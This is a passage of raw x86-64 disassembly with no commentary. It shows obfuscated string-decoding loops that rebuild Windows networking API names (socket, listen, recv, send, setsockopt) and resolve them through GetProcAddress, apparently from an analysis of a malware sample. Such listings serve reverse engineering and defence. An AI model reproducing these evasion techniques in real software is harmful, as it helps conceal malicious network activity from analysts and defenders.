mov ecx, 0x1a
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
add dil, r9b
movzx eax, byte [rbp + rsi + 0x270]
add rax, r8
add rsi, rax
inc rsi
jmp 0x140065ab2
sub r9b, 0x58
movzx eax, r11b
and al, r9b
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
add dil, r9b
jmp 0x140066460
add r9b, 0x50
movzx eax, r11b
and al, r9b
add al, al
sub r11b, al
lea edi, [r9 + r11]
sub dil, 0x30
jmp 0x140066400
add r9b, 0x24
movzx eax, r11b
and al, r9b
mov ecx, 2
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
add dil, r9b
jmp 0x1400663fd
lea edx, [r9 - 8]
movzx eax, r11b
and al, dl
mov ecx, 0x1c
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
add dil, dl
jmp 0x1400663c0
sub r9b, 0x34
movzx eax, r11b
and al, r9b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
add dil, r9b
dec rsi
inc rsi
jmp 0x140065ab2
sub r9b, 0x60
movzx eax, r11b
and al, r9b
add al, al
sub r11b, al
lea edi, [r9 + r11]
sub dil, 0x60
inc r8
dec rsi
inc rsi
jmp 0x140065ab2
lea edx, [r9 + 0x74]
movzx eax, r11b
and al, dl
add al, al
movzx edi, r11b
sub dil, al
sub dil, 0x2c
jmp 0x140066350
lea rax, [r8 + 0x20]
cmp rbx, rax
jae 0x140066040
lea edx, [r9 + 0x16]
movzx eax, r11b
and al, dl
mov ecx, 0x33
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
add dil, dl
jmp 0x140065e61
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140066077
sub r9b, 0x64
movzx eax, r11b
and al, r9b
add al, al
sub r11b, al
lea edi, [r9 + r11]
sub dil, 0x44
movzx eax, byte [rbp + rsi + 0x270]
add rax, r8
add rsi, rax
inc rsi
jmp 0x140065ab2
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14006609f
lea edx, [r9 - 0xc]
movzx eax, r11b
and al, dl
mov ecx, 0x2a
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
add dil, dl
jmp 0x140066435
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x1400660c5
add r9b, 0x4c
movzx eax, r11b
and al, r9b
add al, al
sub r11b, al
lea edi, [r9 + r11]
sub dil, 0x14
jmp 0x1400663fd
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140065e61
lea edx, [r9 + 0x78]
movzx eax, r11b
and al, dl
add al, al
movzx edi, r11b
sub dil, al
sub dil, 0x48
add dil, dl
jmp 0x1400663c0
cmp rbx, r10
jne 0x140066104
lea edx, [r9 + 0x6a]
mov ecx, reloc.WS2_32.dll_listen
jmp 0x140066342
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140066130
sub r9b, 0x3e
movzx eax, r11b
and al, r9b
add al, al
sub r11b, al
lea edi, [r9 + r11]
sub dil, 0x4e
dec rsi
inc rsi
jmp 0x140065ab2
lea rcx, [r8 + 2]
cmp rbx, rcx
jne 0x140066158
lea edx, [r9 - 0x12]
movzx eax, r11b
and al, dl
mov ecx, 0x3f
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
add dil, dl
jmp 0x1400663c0
lea rdx, [r8 + 5]
cmp rbx, rdx
jne 0x140066181
add r9b, 0x1a
movzx eax, r11b
and al, r9b
mov ecx, 0x25
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
add dil, r9b
jmp 0x1400663fd
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140065ea2
add r9b, 0x46
movzx eax, r11b
and al, r9b
mov ecx, listen
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
add dil, r9b
jmp 0x140066400
cmp rbx, r10
jne 0x1400661e4
add r9b, 0x38
movzx eax, r11b
and al, r9b
mov ecx, 0x3c
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
add dil, r9b
movzx eax, byte [rbp + rsi + 0x270]
add rax, r8
add rsi, rax
inc rsi
jmp 0x140065ab2
cmp rbx, rcx
jne 0x140066209
add r9b, 0x64
movzx eax, r11b
and al, r9b
mov ecx, 0x22
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
add dil, r9b
jmp 0x140066460
cmp rbx, rdx
jne 0x14006622d
lea edx, [r9 + 0x14]
movzx eax, r11b
and al, dl
mov ecx, 0x3a
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
add dil, dl
jmp 0x1400663c0
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14006625c
add r9b, 0x40
movzx eax, r11b
and al, r9b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
add dil, r9b
dec rsi
inc rsi
jmp 0x140065ab2
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140065ed6
add r9b, 0x6c
movzx eax, r11b
and al, r9b
mov ecx, 6
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
add dil, r9b
inc r8
dec rsi
inc rsi
jmp 0x140065ab2
lea edx, [r9 - 0x10]
movzx eax, r11b
and al, dl
movzx ecx, r11b
sub cl, al
add cl, 0x38
lea edi, [rcx + rcx]
add dil, dl
jmp 0x1400663c0
lea edx, [r9 + 0x1c]
movzx eax, r11b
and al, dl
mov ecx, 0x1e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x140066435
add r9b, 0x5a
movzx eax, r11b
and al, r9b
add al, al
sub r11b, al
lea edi, [r9 + r11]
sub dil, 0x76
movzx eax, byte [rbp + rsi + 0x270]
add rax, r8
add rsi, rax
inc rsi
jmp 0x140065ab2
lea edx, [r9 + 2]
movzx eax, r11b
and al, dl
add al, al
movzx edi, r11b
sub dil, al
sub dil, 0xe
add dil, dl
jmp 0x140066435
sub r9b, 0x56
movzx eax, r11b
and al, r9b
mov ecx, 0x2d
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
add dil, r9b
jmp 0x1400663fd
lea edx, [r9 - 6]
mov ecx, reloc.WS2_32.dll_setsockopt
movzx eax, r11b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
add dil, dl
sub r9b, 0x26
movzx eax, r11b
and al, r9b
mov ecx, 5
sub cl, al
add cl, cl
add cl, r11b
add cl, r9b
mov byte [rbp + rsi + 0x270], cl
inc r8
dec rsi
inc rsi
jmp 0x140065ab2
lea ecx, [rsi + 0x4a]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 6
dec rsi
inc rsi
jmp 0x140065ab2
movzx r9d, sil
lea edx, [r9 + 0x1e]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
add r9b, 6
movzx eax, r11b
and al, r9b
add al, al
sub r11b, al
sub r11b, 0x2a
add r11b, r9b
add r11b, dil
mov byte [rbp + rsi + 0x270], r11b
jmp 0x1400663fd
lea edx, [rsi - 0xe]
movzx eax, dl
and al, r11b
mov ecx, 0x31
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x140065ab2
lea rcx, [rsi + r13]
and r10b, cl
add r10b, r10b
movzx edi, r11b
sub dil, r10b
sub dil, 0x36
add dil, cl
movzx r9d, sil
add r9b, 0x32
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
sub r9b, 0x5e
add r9b, r11b
movzx eax, r9b
mov byte [rbp + rsi + 0x270], al
inc r8
add rax, r8
sub rsi, rax
lea edx, [rsi + 0x48]
movzx eax, dl
and al, r11b
mov ecx, 4
sub cl, al
add cl, cl
add cl, dl
add cl, r11b
mov byte [rbp + rsi + 0x270], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add rsi, rax
movzx eax, byte [rbp + rsi + 0x270]
add rax, r8
add rsi, rax
inc rsi
jmp 0x140065ab2
lea rcx, [rsi + r12]
and r10b, cl
mov eax, 0x19
sub al, r10b
lea edi, [rax + rax]
add dil, r11b
add dil, cl
movzx eax, byte [rbp + rsi + 0x270]
add rax, r8
add rsi, rax
inc rsi
jmp 0x140065ab2
add r9b, 0x6e
movzx eax, r11b
and al, r9b
add al, al
sub r11b, al
lea edi, [r9 + r11]
sub dil, 2
jmp 0x140065ab0
add r9b, 0x42
movzx eax, r11b
and al, r9b
mov ecx, 0x19
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
add dil, r9b
jmp 0x140065aa0
lea rdx, [rbp + 0x154b938]
jmp 0x140066528
lea rdx, [rbp + 0x175374e]
jmp 0x140066528
lea rdx, [rbp + 0x270]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp - 0x70], rax
mov byte [rbp + 0x2a0], 0x27
mov byte [rbp + 0x2a1], 0xc8
mov byte [rbp + 0x2a2], 0xc6
mov byte [rbp + 0x2a3], 0x24
mov byte [rbp + 0x2a4], 0xc9
mov byte [rbp + 0x2a5], 0xc6
mov byte [rbp + 0x2a6], 0xc2
mov byte [rbp + 0x2a7], 0xd2
mov byte [rbp + 0x2a8], 0xd9
mov byte [rbp + 0x2a9], gethostname
mov byte [rbp + 0x2aa], 0xdf
mov byte [rbp + 0x2ab], 0xcf
mov byte [rbp + 0x2ac], 0xce
mov byte [rbp + 0x2ad], 0xd0
mov byte [rbp + 0x2ae], 0xd9
mov byte [rbp + 0x2af], 0xc8
mov byte [rbp + 0x2b0], 0x7c
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x2b1], xmm0
mov word [rbp + 0x2c1], ax
movabs r15, 0x58995523e1d31e4e
movabs r12, 0x1d63fe42f06c10be
movabs r13, 0x9cbff6ba5795aea
movzx edi, byte [rbp + 0x410]
call fcn.140004c80
mov rbx, qword [rax]
call fcn.140004c90
mov r8, qword [rax]
nop dword [rax]
nop dword [rax + rax]
xor r11d, r11d
cmp r11, 0x23
jae 0x140067175
movzx r10d, byte [rbp + r11 + 0x2a0]
mov esi, r10d
nop dword [rax]
cmp rbx, r11
ja 0x14006716c
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14006664c
lea rcx, [r11 + r15]
mov rax, rsi
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rsi
add rdi, rcx
sub dil, 0x22
jmp 0x140066693
je 0x1400670fa
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140067063
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140067035
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14006701a
lea rax, [r8 + 7]
cmp rbx, rax
je 0x140066ff6
lea rax, [r8 + 8]
cmp rbx, rax
je 0x140066fa8
movzx r9d, r11b
cmp r8, r11
ja 0x140067163
lea rcx, [r8 + 5]
cmp rbx, rcx
jae 0x1400666c5
lea edx, [r9 + 0x66]
movzx eax, dl
and al, r10b
mov ecx, 0x1b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140066700
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140066f90
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140066f70
cmp rbx, rcx
je 0x140066f53
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140066f34
nop word [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x140066c5e
nop dword [rax]
lea rax, [r8 + 0x5a]
cmp rbx, rax
je 0x140066c50
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140066c27
lea rax, [r8 + 8]
cmp rbx, rax
je 0x140066c04
lea rcx, [r8 + 2]
cmp rbx, rcx
je 0x140066be9
lea rax, [r8 + 6]
cmp rbx, rax
je 0x140066bc6
lea rax, [r8 + 0x10]
cmp rbx, rax
je 0x140066ba6
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140066b8b
lea rax, [r8 + 0xa]
cmp rbx, rax
je 0x140066b6e
lea rax, [r8 + 0x40]
cmp rbx, rax
je 0x140066b3c
lea rax, [r8 + 9]
cmp rbx, rax
je 0x140066710
mov rbx, rcx
lea r8, [rcx + 0x28]
lea rax, [r8 + 0x7a]
cmp rcx, rax
jb 0x140067146
lea rax, [r8 + 1]
cmp rcx, rax
jb 0x140067126
lea rax, [r8 + 5]
cmp rcx, rax
jb 0x1400668e3
lea rax, [r8 + 0xa]
cmp rcx, rax
jb 0x1400668c8
lea rax, [r8 + 4]
cmp rcx, rax
jb 0x1400668ad
lea rax, [r8 + 9]
cmp rcx, rax
jb 0x140066aec
lea rax, [r8 + 0x28]
cmp rcx, rax
jb 0x140066a9c
lea rax, [r8 + 8]
cmp rcx, rax
jb 0x140066a5f
lea rax, [r8 + 0x20]
cmp rcx, rax
jb 0x140066a34
lea rax, [r8 + 0x64]
cmp rcx, rax
jb 0x140066710
lea rbx, [r8 + 0x2a]
lea r8, [rbx + 0x10]
lea rax, [r8 + 4]
cmp rbx, rax
ja 0x140066a05
lea rax, [r8 + 0x5a]
cmp rbx, rax
ja 0x1400669e8
lea rax, [r8 + 3]
cmp rbx, rax
ja 0x1400669c9
lea rax, [r8 + 8]
cmp rbx, rax
ja 0x1400669a9
lea rax, [r8 + 0x20]
cmp rbx, rax
ja 0x140066989
lea rax, [r8 + 6]
cmp rbx, rax
ja 0x14006696a
lea rax, [r8 + 0x10]
cmp rbx, rax
ja 0x140066944
lea rax, [r8 + 0x42]
cmp rbx, rax
ja 0x14006691e
lea rax, [r8 + 0xa]
cmp rbx, rax
ja 0x140066903
lea rax, [r8 + 0x40]
cmp rbx, rax
ja 0x140066710
lea rbx, [r8 + 0x41]
lea r8, [rbx + 0x200]
jmp 0x140066710
lea ecx, [r9 + 0x5a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x76
jmp 0x140066700
lea ecx, [r9 - 0x42]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x32
jmp 0x140066697
add r9b, 0x22
movzx eax, r9b
and al, r10b
mov ecx, 9
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140066620
lea ecx, [r9 + 0x30]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x50
jmp 0x140066fc6
sub r9b, 0x6c
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0xc
inc r8
dec r11
inc r11
jmp 0x140066603
sub r9b, 8
movzx eax, r9b
and al, r10b
mov ecx, 0x1c
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x140066603
lea edx, [r9 + 0x5c]
movzx eax, dl
and al, r10b
mov ecx, 0x3e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140066ef1
sub r9b, 0x40
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x40
add rbx, r8
jmp 0x14006704a
add r9b, 0x24
movzx eax, r9b
and al, r10b
mov ecx, 2
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14006704a
lea edx, [r9 - 0x78]
movzx eax, dl
and al, r10b
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140067088
sub r9b, 0x14
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x74
jmp 0x1400670b5
add r9b, 0x50
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x30
movzx eax, byte [rbp + r11 + 0x2a0]
add rax, r8
add r11, rax
inc r11
jmp 0x140066603
sub r9b, 0x36
movzx eax, r9b
and al, r10b
mov ecx, 0x3d
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
mov byte [rbp + r11 + 0x2a0], dil
inc r11
jmp 0x140066603
lea ecx, [r9 + 0x2e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x42
cmp r8, 0x200
jb 0x140066a4f
lea ecx, [r9 + 0x14]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, r10b
lea edi, [rcx*2 - 0x18]
jmp 0x140066fc6
lea edx, [r9 - 0x6e]
movzx eax, dl
and al, r10b
mov ecx, 1
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
cmp rbx, 0x400
jae 0x140066ed8
lea rax, [r8 + 0x40]
cmp rbx, rax
jbe 0x140066e00
lea edx, [r9 - 4]
movzx eax, dl
and al, r10b
mov ecx, select
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140066a75
lea edx, [r9 - 0xa]
movzx eax, dl
and al, r10b
mov ecx, 0x23
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
lea rax, [r8 + rbx]
cmp rax, 0x61
je 0x140066f1e
lea rax, [r8 + 6]
cmp rbx, rax
jbe 0x140066d57
lea ecx, [r9 - 0x6a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x1a
jmp 0x140066ab6
add r9b, 0x64
movzx eax, r9b
and al, r10b
mov ecx, 0x22
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x2a0]
add rax, r8
add r11, rax
inc r11
jmp 0x140066603
sub r9b, 0x38
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x78
jmp 0x1400670b5
lea ecx, [r9 + 0x2c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x34
jmp 0x140067088
sub r9b, 0x70
movzx eax, r9b
and al, r10b
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14006704a
sub r9b, 0xc
movzx eax, r9b
and al, r10b
mov ecx, 0x2a
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
add rbx, r8
jmp 0x14006704a
lea ecx, [r9 + 0x58]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x68
jmp 0x140066ef1
sub r9b, 0x44
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x24
dec r11
inc r11
jmp 0x140066603
add r9b, 0x20
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x140066603
lea edx, [r9 - 0x7c]
mov ecx, 0x32
jmp 0x140066fb5
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jae 0x140066c85
lea ecx, [r9 + 0x4e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x22
jmp 0x140066b06
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140066cc0
sub r9b, 0x34
movzx eax, r9b
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x2a0]
add rax, r8
add r11, rax
inc r11
jmp 0x140066603
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140066ce4
lea ecx, [r9 + 4]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x1c
jmp 0x140067088
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140066d10
add r9b, 0x3c
movzx eax, r9b
and al, r10b
mov ecx, 0x2e
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
add rbx, r8
jmp 0x14006704a
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x140066d3c
add r9b, 0x74
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x2c
dec r11
inc r11
jmp 0x140066603
lea rax, [r8 + 9]
cmp rbx, rax
jne 0x140066b06
lea edx, [r9 - 0x54]
mov ecx, 0x26
jmp 0x140066fb5
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140066d7b
lea ecx, [r9 + 0x32]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x5e
jmp 0x140066fc6
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140066daa
add r9b, 0x6a
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x140066603
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140066dd3
sub r9b, 0x5e
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x6e
add rbx, r8
jmp 0x14006704a
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140066ab6
add r9b, 0x3e
movzx eax, r9b
and al, r10b
mov ecx, 0x27
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14006704a
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140066e38
sub r9b, 0x68
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x28
movzx eax, byte [rbp + r11 + 0x2a0]
add rax, r8
add r11, rax
inc r11
jmp 0x140066603
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140066e60
lea edx, [r9 - 0x30]
movzx eax, dl
and al, r10b
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140067088
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140066e81
lea ecx, [r9 - 0x5c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x7c
jmp 0x140066ef1
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140066eb0
add r9b, 0x40
movzx eax, r9b
and al, r10b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x140066603
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x140066a75
lea ecx, [r9 + 0x78]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x48
jmp 0x140066fc6
lea edx, [r9 - 0x50]
movzx eax, dl
and al, r10b
movzx ecx, r10b
sub cl, al
add cl, 0x18
lea edi, [rcx + rcx]
add dil, dl
sub r9b, 2
movzx eax, r9b
and al, r10b
mov ecx, 7
sub cl, al
add cl, cl
add cl, r9b
add cl, r10b
add cl, dil
mov byte [rbp + r11 + 0x2a0], cl
add rbx, r8
jmp 0x14006704a
lea ecx, [r9 + 0x4c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [rcx - 0x14]
jmp 0x140067088
lea edx, [r9 - 0x56]
movzx eax, dl
and al, r10b
mov ecx, 0x2d
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140067088
add r9b, 0xe
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x62
jmp 0x14006704a
add r9b, 0x72
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x1e
add rbx, r8
jmp 0x14006704a
lea ecx, [r9 + 2]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0xe
jmp 0x140066fc6
movzx r9d, r11b
lea edx, [r9 - 0x36]
mov ecx, 0x3d
movzx eax, dl
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
add r9b, 0x62
movzx eax, r9b
and al, r10b
mov ecx, 0x29
sub cl, al
add cl, cl
add cl, r9b
add cl, r10b
mov byte [rbp + r11 + 0x2a0], cl
inc r8
dec r11
inc r11
jmp 0x140066603
lea ecx, [r11 + 0x2e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x42
inc r8
dec r11
inc r11
jmp 0x140066603
lea ecx, [r11 + 0x5a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x76
add rbx, r8
jmp 0x14006704a
lea rax, [r11 + r12]
and sil, al
add sil, sil
sub r10b, sil
lea edi, [rax + r10]
sub dil, 0x32
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140066603
movabs rcx, 0x6c3153fb2cc5d422
add rcx, r11
and sil, cl
mov eax, 9
sub al, sil
lea edi, [rax + rax]
add dil, r10b
add dil, cl
movzx r9d, r11b
sub r9b, 0x66
movzx eax, r10b
and al, r9b
add al, al
movzx ecx, r10b
sub cl, al
sub cl, 0x36
add cl, r9b
movzx eax, cl
mov byte [rbp + r11 + 0x2a0], al
inc r8
add rax, r8
sub r11, rax
lea ecx, [r11 - 0x18]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
sub r10b, 0x58
add r10b, cl
mov byte [rbp + r11 + 0x2a0], r10b
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0x2a0]
add rax, r8
add r11, rax
inc r11
jmp 0x140066603
lea rax, [r11 + r13]
and sil, al
add sil, sil
sub r10b, sil
lea edi, [rax + r10]
sub dil, 0x66
movzx eax, byte [rbp + r11 + 0x2a0]
add rax, r8
add r11, rax
inc r11
jmp 0x140066603
sub r9b, 0x7a
movzx eax, r10b
and al, r9b
mov ecx, 0x2b
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
jmp 0x140066600
sub r9b, 0x16
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x66
jmp 0x1400665e4
lea rdx, [rbp + 0x1585f08]
jmp 0x14006717c
lea rdx, [rbp + 0xab7d56]
jmp 0x14006717c
lea rdx, [rbp + 0x2a0]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp - 0x68], rax
mov byte [rbp + 0xc0], 0xc6
mov byte [rbp + 0xc1], 0xe0
mov byte [rbp + 0xc2], 0xec
mov byte [rbp + 0xc3], 0xe7
mov byte [rbp + 0xc4], 0xfb
mov byte [rbp + 0xc5], 0xec
mov byte [rbp + 0xc6], 0xe0
mov byte [rbp + 0xc7], 0xeb
mov byte [rbp + 0xc8], 0xe7
mov byte [rbp + 0xc9], 0x9e
mov byte [rbp + 0xca], 0xd3
mov byte [rbp + 0xcb], reloc.WS2_32.dll_send
xor eax, eax
mov dword [rbp + 0xcc], eax
mov word [rbp + 0xd0], ax
movzx edi, byte [rbp + 0x410]
call fcn.140004c80
mov rbx, qword [rax]
call fcn.140004c90
mov r8, qword [rax]
xor r11d, r11d
cmp r11, 0x12
jae 0x140067d42
movzx r10d, byte [rbp + r11 + 0xc0]
mov esi, r10d
nop dword [rax]
cmp rbx, r11
ja 0x140067d39
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14006724f
lea rcx, [r11 + 0x13354]
mov rax, rcx
and rax, rsi
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rsi
sub dil, 0x4c
jmp 0x140067289
je 0x140067cc1
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140067c63
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140067c14
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140067bb8
lea rax, [r8 + 8]
cmp rbx, rax
je 0x140067b6a
movzx r9d, r11b
nop dword [rax]
cmp r8, r11
ja 0x140067d30
lea rax, [r8 + 0x61]
cmp rbx, rax
jae 0x1400672ba
lea ecx, [r9 - 0x1c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x3c
jmp 0x1400672f0
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140067b5f
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140067b3c
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140067b1f
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140067aff
nop
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x140067842
nop dword [rax]
lea rax, [r8 + 0x10]
cmp rbx, rax
je 0x140067834
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x14006780e
lea rax, [r8 + 0x42]
cmp rbx, rax
je 0x1400677e8
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x1400677cd
lea rax, [r8 + 0x3e8]
cmp rbx, rax
je 0x1400677b0
lea rax, [r8 + 0x1000]
cmp rbx, rax
je 0x140067790
lea rax, [r8 + 0x7a]
cmp rbx, rax
je 0x140067775
lea rax, [r8 + 0x5a]
cmp rbx, rax
je 0x140067755
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140067726
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140067300
lea rbx, [r8 + 4]
lea r8, [rbx + 5]
lea rax, [r8 + 6]
cmp rbx, rax
jb 0x140067d10
lea rax, [r8 + 9]
cmp rbx, rax
jb 0x140067cf3
lea rax, [r8 + 0x10]
cmp rbx, rax
jb 0x1400674f4
lea rax, [r8 + 0x28]
cmp rbx, rax
jb 0x1400674d5
lea rax, [r8 + 0x42]
cmp rbx, rax
jb 0x1400674ba
lea rax, [r8 + 0x80]
cmp rbx, rax
jb 0x1400676d9
